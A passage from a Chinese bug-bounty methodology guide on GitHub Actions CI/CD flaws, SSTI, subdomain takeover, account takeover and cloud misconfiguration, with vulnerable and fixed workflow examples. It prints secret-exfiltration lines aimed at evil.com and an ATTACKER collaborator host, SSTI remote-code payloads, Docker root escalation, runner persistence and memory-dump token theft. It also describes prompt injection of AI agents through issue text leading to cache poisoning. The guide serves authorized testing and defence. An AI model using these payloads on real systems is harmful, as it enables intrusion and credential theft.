工具:使用 sisakulint 执行自动化 SAST——52 条规则,可在步骤、作业和可复用工作流间传播污点,覆盖 81.6% 的 GitHub 安全公告(31/38 条 GHSA)。安装:
brew install sisakulint,或从发布页面下载二进制文件。快速扫描:
sisakulint scan .github/workflows/——标记严重/高危问题,并提供自动修复建议。 远程扫描:sisakulint scan --remote owner/repo——无需克隆即可扫描。
侦察:查找工作流文件
# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns:
grep -rn "pull_request_target\|workflow_run" .github/workflows/
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows:
sisakulint scan .github/workflows/
类别 1:代码注入与表达式安全(CICD-SEC-04)
根本原因:不可信输入(github.event.issue.title、github.event.pull_request.body、分支名称、提交消息)通过 ${{ }} 表达式插入 run: 块。
污点来源(由攻击者控制):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
- 表达式注入——在
run:块中使用${{ github.event.issue.title }}= 远程代码执行(RCE)# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - 环境变量注入——不可信输入 →
$GITHUB_ENV# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH 注入——不可信输入 →
$GITHUB_PATH= 执行任意二进制文件 - 输出篡改——不可信输入 →
$GITHUB_OUTPUT,且未使用 heredoc 分隔符 = 操纵下游作业 - 参数注入——将不可信输入作为 CLI 参数(例如,
docker run ${{ ... }})# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - 请求伪造(SSRF)——在工作流中的
curl/wget使用攻击者控制的 URL
类别 2:流水线投毒与不可信检出
根本原因:特权触发器(pull_request_target、workflow_run)检出攻击者的 PR 代码,随后该代码会在有权访问仓库机密的环境中运行。
- 不可信检出——在
pull_request_target上使用actions/checkout,但未指定明确的安全引用# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU(检查时与使用时不一致)——基于标签的批准 + 可变引用 = 攻击者添加标签后,在批准通过后推送恶意提交
- 可复用工作流污点传播——
secrets: inherit将所有机密传递给会处理不可信输入的被调用工作流 - 缓存投毒——不可信检出 → 构建 → 写入缓存 → 受信任工作流读取已投毒的缓存
- 缓存投毒(可投毒步骤)——不安全检出后,在保存缓存前执行构建步骤
- 制品投毒——从不可信的
workflow_run下载actions/download-artifact制品,且未经验证# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked——
actions/checkout使用persist-credentials: true(默认值),会导致上传的制品中泄露.git/config凭据# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
类别 3:供应链与依赖项安全(CICD-SEC-08)
- 未固定版本的 Actions——使用
uses: actions/checkout@v4(可变标签)而非固定 SHA# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - 冒名提交——Fork 网络允许推送 SHA 看似属于上游仓库的提交
- 引用混淆——利用含义模糊的标签/分支名称加载非预期版本的 Action
- 已知存在漏洞的 Actions——根据 GHSA 数据库检查 Actions(sisakulint 会自动检测)
- 已归档的 Actions——未维护且存在未修补漏洞的 Action
- 未固定版本的容器镜像——使用
image: ubuntu:latest,而非固定 SHA256 摘要
类别 4:凭据与机密保护
- 机密外泄——在工作流中使用
curl https://evil.com/${{ secrets.TOKEN }} - 制品中的机密——上传的制品包含
.env、凭据或隐藏文件# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - 未屏蔽的机密——
fromJson()派生的值会绕过 GitHub 的自动屏蔽机制# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - 过度使用
secrets: inherit——可复用工作流调用继承所有机密,但实际上只需要其中一个 - 硬编码凭据——直接在工作流 YAML 中写入 API 密钥、密码或令牌
类别 5:触发器与访问控制(CICD-SEC-01)
- 危险触发器缺少缓解措施 —
pull_request_target或workflow_run,且没有permissions: {}、审批关卡或 ref 限制 - 危险触发器仅有部分缓解措施 — 存在一些保护措施,但仍可绕过
- 基于标签的审批绕过 —
if: contains(github.event.pull_request.labels.*.name, 'approved')可被伪造(攻击者可以添加标签) - Bot 条件伪造 —
if: github.actor != 'dependabot[bot]'可通过使用相似名称创建账户轻易绕过 - GITHUB_TOKEN 权限过高 — 只需要
contents: read,却设置了permissions: write-all - 公共仓库使用自托管运行器 — 不受信任的 PR 在组织基础设施上执行 = 容器逃逸 → 横向移动
- OIDC 令牌窃取 — CI 运行器暴露可授予云访问权限的 OIDC 令牌
类别 6:AI Agent 安全(新增 — 2025 年及以后)
- AI 触发器不受限制 —
allowed_non_write_users: "*"允许任何用户触发 AI Agent 执行 - 命令行授权过多 — 在不受信任的触发器上下文中向 AI Agent 授予 Bash/Write/Edit 工具 = 攻击者提示词 → RCE
- 通过工作流上下文进行提示词注入 — 将
${{ github.event.issue.body }}插入 AI Agent 提示词参数
排查工作流
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
表达式注入 PoC 模板
# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)
真实世界的 GHSA(已确认的赏金)
| GHSA | Action | Bug 类别 | 严重性 |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | 通过分支名称进行表达式注入 | 严重 |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | 特权触发器中的代码注入 | 严重 |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | 构建日志中暴露密钥 | 严重 |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | 构件投毒(官方 Action) | 高 |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | 通过不受信任的检出操作进行缓存投毒 | 高 |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | 供应链 — 冒名顶替的提交 | 高 |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | 通过代码注入暴露令牌 | 严重 |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | 通过标签固定实施定时炸弹 | 高 |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | 已知存在漏洞的官方 Action | 高 |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | 构建工作流中的参数注入 | 中等 |
A→B 信号:CI/CD 链
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
深入分析:从 sisakulint 检测结果到赏金报告
sisakulint 的检测结果表示可能可利用,并非已确认的漏洞。每项检测结果都需要人工验证。以下模式提取自 36 份真实的付费报告(赏金总额超过 25 万美元)。每个部分都遵循最终获得实际赏金的分析思路。
1. 代码注入 / 参数注入
判定问题: 外部攻击者能否触发此工作流,且受污染的输入是否会进入 shell 上下文?
验证深度:
- 触发器的可访问性 —
issues: opened和issue_comment: created可由任何 GitHub 用户触发。pull_request_target可通过 fork PR 触发。检查是否存在按操作者 / 关联关系筛选的if:条件。 - 直接与传递污染 — 工作流文件本身看起来可能是安全的。Cycode 发现 Bazel 的 $13K 漏洞,是因为
cherry-picker.yml通过with:将${{ github.event.issue.title }}传递给了另一个仓库中的复合操作(bazelbuild/continuous-integration)。该复合操作的action.yml包含run: TITLE="${{ inputs.issue-title }}"。传统扫描器(actionlint)未能发现此问题,因为它们不会沿着uses:跟进并检查外部复合操作。务必获取并阅读复合操作的 action.yml。 - 载荷构造 — 分支名称不能包含空格。Ultralytics YOLO 攻击者使用
${IFS}(内部字段分隔符)和 Bash 花括号展开{curl,-sSfL,URL}绕过了限制。Issue 标题 / 正文没有此类限制。 - 密钥可达性 — 检查工作流和作业级别的
permissions:。未明确设置permissions:块时,会使用仓库默认设置(通常为write-all)。检查env:块中的${{ secrets.* }}。检查GITHUB_TOKEN是否具有写入权限。 - 影响链 — Bazel:Issue 标题注入 → 复合操作 shell 注入 →
BAZEL_IO_TOKEN+GITHUB_TOKEN (write-all)→ 可在 Bazel 代码库中植入后门(影响 Google、Kubernetes、Uber、LinkedIn)。
排除信号: 返回布尔值的 ${{ contains(...) }} 或 ${{ startsWith(...) }} 不可被注入 — 这是误报。${{ github.event.pull_request.labels.*.name }} 在 contains() 中会计算为 true / false,而非标签文本。
2. 不可信检出(Pwn 请求)
门槛问题: 工作流是否检出了攻击者控制的代码,随后又执行了该检出内容中的某些内容?
验证深度:
- 显式与隐式代码执行 — Flank 的 $7.5K 漏洞:
gh pr checkout→gradle/gradle-build-action运行 Gradle → Gradle 自动将settings.gradle.kts作为 Kotlin 脚本求值。攻击者从未编写run:命令。任何会读取仓库配置的构建命令行都是代码执行入口:Makefile、package.json(postinstall 脚本)、setup.py、build.gradle.kts、.cargo/config.toml、Gemfile。 - issue_comment 与 pull_request_target 一样危险 — Rspack NPM 令牌窃取:
issue_comment触发器 +refs/pull/${{ github.event.issue.number }}/head检出。issue_comment在基础仓库上下文中运行,并拥有完整密钥。草稿 PR 也包括在内。没有贡献者状态检查。始终检查 issue_comment 工作流是否存在 PR 检出模式。 - 自托管运行器权限提升 — 如果
runs-on:中包含self-hosted,请检查:(a) 运行器是否为临时运行器?(在 config.sh 中使用--ephemeral)。(b) 运行器是否属于 Docker 组?(docker run -v /:/host --privileged)。(c) PyTorch 模式:诱使贡献者(修复拼写错误的 PR → 合并 → 获得贡献者身份 → 未经审批就在自托管运行器上自动触发)→ RoR(运行器套运行器:RUNNER_TRACKING_ID=0+ 安装攻击者的运行器代理)→ 等待特权工作流 → 从.git/config或进程内存中窃取 PAT。 - TOCTOU — 受标签控制的
pull_request_target工作流:攻击者通过社交工程让人添加标签,工作流检查标签是否存在,攻击者在检查与检出之间推送恶意提交。检出时的ref:会解析到新提交。可变引用(触发时的github.event.pull_request.head.sha与检出时的值不一致)是根本原因。 - 后期利用 — 初始访问后,枚举所有密钥:
env | base64、cat /proc/self/environ、gcore $(pgrep Runner.Worker)+strings core.* | grep ghp_。PyTorch 攻击者获取了 3 个机器人 PAT → 将它们合并使用,以绕过 main 上的分支保护。
终止信号: if: "!github.event.pull_request.head.repo.fork" 会阻止外部攻击者。工作流级别的 permissions: {} 配合任务级别仅授予 contents: read,可限制损害。带有 --ephemeral 标志的临时运行器可防止持久化。
3. 制品投毒
关键问题: 是否存在两阶段工作流模式:阶段 1(pull_request,不包含机密)上传制品,阶段 2(workflow_run,包含机密)下载并使用这些制品?
验证深度:
- 跨工作流制品流转 — 同一工作流中的上传和下载(通过
needs:连接的构建作业 → 测试作业)无法被投毒,因为攻击者的 PR 会运行自己的构建。危险模式是:pull_request工作流上传 → 独立的workflow_run工作流下载。workflow_run会在另一个工作流完成时触发,并在默认分支上下文中运行,拥有完整的机密访问权限。 - 下载路径很重要 —
actions/download-artifact使用path: .或相对于工作区的路径(grafana-server/bin)时,可能会覆盖源代码、构建脚本或二进制文件。安全模式:解压到${{ runner.temp }}/artifacts。 - 来源验证 —
workflow_run消费方是否检查github.event.workflow_run.head_repository.full_name != github.repository?如果没有,就会盲目使用来自 fork PR 的制品。Rust 发布流水线就曾因这一问题而易受攻击。 - ArtiPACKED(persist-credentials) —
actions/checkout默认设置为persist-credentials: true。这会将GITHUB_TOKEN写入.git/config。如果制品上传路径包含.git/(例如path: .),就可以从 Actions 制品中公开下载该令牌。检查: 是否有任何upload-artifact步骤使用path: .或包含.git/的宽泛路径?
排除信号: 在同一次工作流运行中上传和下载(通过 needs: 连接)。workflow_run 消费方明确检查 fork 来源。checkout 设置了 persist-credentials: false。
4. 缓存投毒
关键问题: fork PR 能否写入缓存条目,让默认分支随后在特权上下文中恢复该条目?
重要:GitHub 的缓存作用域并不能完全阻止这种情况。 PR 分支可以读取默认分支的缓存。fork PR 工作流可以写入缓存条目。如果缓存键具有确定性(hashFiles('package-lock.json')),且攻击者不修改该文件,fork PR 就会写入相同的缓存键。
验证深度:
- 键的可预测性 —
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}完全可预测。在键中加入github.sha或github.run_id会使其变得不可预测。检查每个缓存键是否包含不可预测的组成部分。 - 利用缓存层级 —
workflow_run和workflow_dispatch工作流在默认分支上下文中运行。如果它们使用可预测的键写入缓存,攻击者就可以通过 fork PR 触发上游工作流,提前污染缓存。run-dashboard-search-e2e.yml模式:workflow_run触发 →actions/cache使用hashFiles()键 → 所有 PR 工作流读取此缓存。 - 载荷注入 — Cacheract:将恶意软件注入包管理器缓存(
node_modules/.cache、~/.cache/pip、~/.gradle/caches)。恶意软件会自我延续,因为每次恢复 → 构建 → 保存的循环都会保留载荷。缓存有效期为 7 天 — 载荷会在多次工作流运行中存活。 - 特权使用 — 在默认分支上的
push或schedule工作流中恢复缓存。这些工作流拥有完整的secrets访问权限。被投毒的依赖会在npm install/pip install/gradle build期间执行,并窃取机密。 - Clinejection 攻击链 — 提示词注入 → AI Agent 从攻击者提交中运行
npm install→ npm 缓存中植入 Cacheract → 每晚发布工作流恢复缓存 → VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN 被盗 → 恶意版 Cline v2.3.0 发布并持续 8 小时。
排除信号: 缓存键包含 github.sha 或 github.run_id。每个工作流使用独立的缓存键。PR 工作流使用只读的 actions/cache/restore,而不是可读写的 actions/cache。
5. 自托管 Runner
关键问题: 在允许外部贡献者触发工作流的公开仓库中,是否使用了自托管 Runner?
验证深度:
- 审批设置 — 默认设置为“要求批准首次贡献者”。在合并一次 PR 后(哪怕只是修正错别字),攻击者就会成为“贡献者”,之后提交的 PR 会自动触发工作流,无需审批。GitHub runner-images 的 2 万美元漏洞就利用了这一伎俩。
- Runner 持久化 — 非临时 Runner 会在不同作业之间保留状态。
RUNNER_TRACKING_ID=0会阻止 Runner 在作业完成后清理攻击者进程。脱离终端运行的 Docker 容器(docker run -d --restart always)也能在清理后继续存活。 - Runner 套 Runner(RoR) — 在目标的自托管 Runner 上安装官方 GitHub Actions Runner 二进制文件,并将其注册到攻击者的私有组织。整个过程只使用合法的 GitHub 二进制文件,并通过 HTTPS 访问 github.com,与正常的 Runner 流量无法区分。无需 C2 服务端。GitHub 本身就是 C2。
- 横向移动 — RoR 持久化 → 等待具有高权限的
push/schedule工作流 → 从.git/config、$GITHUB_ENV、/proc/PID/environ或 Runner.Worker 进程内存中窃取令牌。PyTorch:3 个机器人 PAT → 93 个仓库 → AWS S3 写入权限 →pip install pytorch供应链攻击。 - Docker 组权限提升 —
docker run -v /:/host --privileged alpine chroot /host→ 获得完整的主机 root 权限。添加 SSH 密钥、修改 sudoers、安装持久化后门。
防护信号: 注册 Runner 时使用 --ephemeral 标志。“要求批准所有外部协作者”(而不只是首次贡献者)。Runner 不属于 Docker 组。使用私有仓库(不接收外部 PR)。
6. 供应链(commit-sha / impostor-commit / ref-confusion)
关键问题: 工作流是否使用可变标签(@v1、@v2)来指定 Actions,且这些标签是否可能被替换?
验证深度:
- 标签可变性 —
git tag -f v1 <malicious-commit>可以替换标签。98.4% 的仓库没有固定 SHA(Legit Security 2024)。tj-actions 攻击:所有版本标签(v1、v35、v45)都被替换为 memdump.py 载荷 → 2.3 万个仓库受影响 → 确认泄露 218 个密钥。 - 冒名提交 — Fork 网络与上游仓库共享对象存储。攻击者向 Fork 推送提交,然后在上游仓库的
uses:中引用该提交 SHA。由于共享对象存储中存在此 SHA,GitHub 会解析它。 - 仓库劫持 — 组织重命名会创建重定向,旧名称随后变为可用。攻击者注册旧组织名称,创建同名仓库并托管恶意 Action。Shopify/unity-buy-sdk 使用了
MirrorNG/unity-runner→ MirrorNG 重命名为 MirageNet →MirrorNG可被注册。检查:GET /users/<action-owner>返回 404?这是否意味着可以劫持? - 载荷隐匿 — tj-actions memdump.py:通过
/proc/PID/maps+/proc/PID/mem从 Runner.Worker 进程内存中提取密钥,使用 AES+RSA 加密后输出到工作流日志。日志公开可见,但内容经过加密——只有攻击者持有密钥。
防护信号: 使用完整的 40 字符 SHA 固定版本(uses: actions/checkout@b4ffde65...)。为 github-actions 生态系统配置 Dependabot。设置组织级 Action 允许列表。
7. AI Agent 安全
关键问题: 在外部用户可以影响提示词的工作流中,是否会调用 AI Agent(Gemini CLI、Claude Code、Cline、Codex)?
验证深度:
- 触发条件 + 提示词来源 —
issues: opened→ AI 分诊机器人读取github.event.issue.body。正文就是提示词。HTML 注释(``)在 GitHub UI 中不可见,但会包含在 API 响应中,因此也会进入 AI 提示词。 - 工具权限 — 如果 AI Agent 拥有 Bash/Write/Edit 工具,且运行时环境中包含密钥,那么提示词注入 = 远程代码执行 + 密钥外泄。
allowed_non_write_users: "*"表示任何用户都可以触发。 - 多阶段攻击链 — Clinejection:提示词注入 → AI 从攻击者提交中运行
npm install→ Cacheract 在 npm 缓存中植入恶意内容 → 夜间发布时恢复缓存 → 令牌被盗 → 恶意版本发布。单独发现提示词注入可能看起来严重性较低,但它可能成为缓存投毒和供应链攻击的入口。
致命信号: AI 处理前检查 author_association == 'MEMBER' || 'OWNER'。AI CLI 使用 --read-only --no-exec 标志。在工作流级别设置 permissions: {}。
8. 权限 / 密钥卫生
并非独立漏洞 — 这些因素会放大攻击影响。带有 permissions: write-all 的 code-injection-medium 漏洞属于严重级别。同样的注入若权限为 permissions: { contents: read },影响则有限。
攻击链检查清单:
- 可复用工作流调用中使用
secrets: inherit→ 被调用的工作流可以访问所有组织密钥 - 缺少
permissions:块 → 使用仓库默认权限(通常为 write-all) GITHUB_TOKEN拥有contents: write→ CVE-2022-46258 模式:使用 Contents API 创建新的工作流文件 → 新工作流可访问所有仓库/组织密钥(原工作流从未引用这些密钥)
重要参考资料:
- sisaku-security/agent-idea/bugbountyreport — 36 份真实报告,包含完整攻击链
- sisakulint docs/advisory — 38 项 GHSA 及其检测映射
- DEF CON 32: Grand Theft Actions — Khan 和 Stawinski,涉及可自托管运行器漏洞,奖金超过 $250K
- Synacktiv:GitHub Actions 利用(5 个部分)
SSTI -- 服务器端模板注入
检测载荷
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
测试位置
- 姓名/简介/描述字段(个人资料页面)
- 电子邮件模板(发票姓名、确认邮件中的用户名)
- 自定义错误消息
- PDF 生成器(发票、报告导出)
- URL 路径参数
- 反映在结果中的搜索查询
Jinja2 -> RCE(Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE(PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE(Ruby on Rails)
<%= `id` %>
子域名接管
检测
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
快速判定特征
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
影响升级
- 基本接管:在 target.com 子域名下托管页面 -> 低/中
-
- Cookie:如果 target.com 设置了 domain=.target.com 的 Cookie -> 凭据盗窃 -> 高
-
- OAuth 重定向:如果 sub.target.com 是已注册的 redirect_uri -> 账户接管攻击链 -> 严重
-
- CSP 绕过:如果 sub.target.com 位于目标的 CSP 中 -> 可在任意位置实施 XSS -> 严重
ATO -- 账户接管(完整分类)
路径 1:密码重置投毒(Host Header 注入)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
路径 2:重置令牌通过 Referer 泄漏
点击重置链接后,如果页面加载外部资源,令牌就会通过 Referer 标头发送到外部域名。
路径 3:可预测 / 脆弱的重置令牌
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
路径 4:令牌不会过期 / 可重复使用
请求令牌 → 等待 2 小时 → 使用令牌 → 仍然有效吗?请求令牌 #1 → 请求令牌 #2 → 使用令牌 #1 → 仍然有效吗?
路径 5:更改电子邮件地址时无需重新验证身份
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
路径 6:滥用 OAuth 账户关联
能否将与现有账户邮箱不同的 OAuth 账户关联到该账户?
路径 7:会话固定
GET /login -> 记下 Set-Cookie session=XYZ -> 登录 -> 会话 ID 是否发生变化?如果没有 = 会话固定。
云 / 基础设施配置错误
S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 元数据(通过 SSRF)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://[REDACTED_IP]/metadata/instance?api-version=2021-02-01
Firebase 开放规则
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
暴露的管理面板
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl --max-time 30 --connect-timeout 10 -s http://TARGET:2375/containers/json
阶段 4:验证
7 个问题的关卡(编写任何报告前都要执行)
7 个问题的答案都必须是“是”。任何一个答案为“否” -> 停止。
Q1:我现在能用真实 PoC 利用这个漏洞吗?
写出准确的 HTTP 请求。如果你无法构造可用的请求 -> 放弃这个漏洞。
Q2:它会影响没有采取任何异常操作的真实用户吗?
不要有“用户需要……”之类的说法,并且还附带 5 个前置条件。受害者无需做任何特别的事。
Q3:影响是否具体(资金、PII、ATO、RCE)?
“理论上可行”不算影响。“我读取了受害者的 SSN”才算影响。
Q4:根据计划政策,这在范围内吗?
对照计划范围页面,核实确切的域名 / 端点。
Q5:我是否检查了 Hacktivity / 更新日志,确认没有重复报告?
搜索该计划已披露的报告和近期更新日志条目。
Q6:这不在“始终拒绝”列表中吗?
查看下方列表。如果在列表中且无法与其他漏洞串联 -> 放弃这个漏洞。
Q7:审查人员读到这份报告时会说“是的,这确实是个漏洞”吗?
假设自己是一个周五下午 5 点疲惫的审查人员,重新阅读报告。它能通过吗?
常见陷阱
- 不理解就过度自动化 — 在每个子域上运行 nuclei、ffuf 和 dalfox 会触发 WAF 封锁、速率限制和 IP 禁封。使用
-rate和-t标志。手动探测能发现自动扫描器遗漏的漏洞。 - 违反 5 分钟规则 — 在只返回 401/403/404 的目标上逗留是在浪费时间。什么都没发现,5 分钟后就换目标。
- “可能”不代表漏洞 — 没有证明影响的理论攻击会被拒绝。证明它有效,否则就放弃。每项发现都必须展示实际危害:资金被盗、PII 泄露、账户接管或代码执行。
- 没有秘密信息的源映射 — 找到
.map文件属于侦察级发现,不是漏洞。只有同时提取到凭据或 API 密钥时才报告。 - 只有 DNS 回调的 SSRF — 仅 DNS 回连不足以证明影响。还需要数据外泄、访问内部服务或获取云元数据。
- 单独的开放重定向 — 如果没有 OAuth 链或 ATO 提权路径,最多只能算信息性问题。报告前先构建完整攻击链。
- 没有方法地乱测 — 在一次会话中跳转测试 XSS、IDOR、SSRF 和缓存投毒,只会得到浅显的发现。每次会话只选一种漏洞类型,深入测试。
- 过度依赖单一字典 — SecLists 是起点,不是终点。针对资产的字典(从 JS 文件、API 响应、swagger 文档中提取)效果优于通用字典。
- 忽略移动端 API 版本 — 移动应用通常使用不同版本或 v1 端点,其身份验证成熟度往往低于网页端对应接口。
- 新功能 == 未经审查 — 最近 30 天内上线的功能,安全成熟度最低,漏洞密度最高。
- 没有先阅读已披露报告 — 花数小时寻找超出范围或已采取强力缓解措施的漏洞类型是在浪费时间。开始测试前先阅读至少 3 份已披露报告。
- 子域枚举导致范围蔓延 — 确认每个子域都归目标所有。第三方服务(Zendesk、Shopify、statuspage.io)通常不在范围内。
- 先写报告,后验证 — 未确认漏洞在提交时仍然有效,就先写报告。提交前几分钟务必重新测试。
- 仅提供截图作为证据 — HTTP 请求 + 响应 + 截图是最低要求。仅提供请求或仅提供截图会被审查人员拒绝。
- 用一个测试账户测试自身 — IDOR / ATO 漏洞需要两个账户(攻击者 + 受害者)。用一个账户测试自身毫无证明力。
提交前的 4 道关卡
关卡 0:现实检查(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
关卡 1:影响验证(2 分钟)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
Gate 2:去重检查(5 分钟)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
Gate 3:报告质量(10 分钟)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 快速指南
| 因素 | 低(0-3.9) | 中(4-6.9) | 高(7-8.9) | 严重(9-10) |
|---|---|---|---|---|
| 攻击向量 | 物理 | 本地 | 相邻 | 网络 |
| 权限 | 高 | 低 | 无 | 无 |
| 用户交互 | 需要 | 需要 | 无 | 无 |
| 影响 | 部分 | 部分 | 高 | 高(全部 3 项) |
按漏洞类别划分的典型评分
| 漏洞 | 典型 CVSS | 严重程度 |
|---|---|---|
| IDOR(读取 PII) | 6.5 | 中 |
| IDOR(写入/删除) | 7.5 | 高 |
| 身份验证绕过 -> 管理员 | 9.8 | 严重 |
| 存储型 XSS | 5.4-8.8 | 中-高 |
| SQLi(数据泄露) | 8.6 | 高 |
| SSRF(云元数据) | 9.1 | 严重 |
| 竞态条件(重复消费) | 7.5 | 高 |
| GraphQL 身份验证绕过 | 8.7 | 高 |
| JWT none 算法 | 9.1 | 严重 |
一律拒绝——绝不要提交以下问题
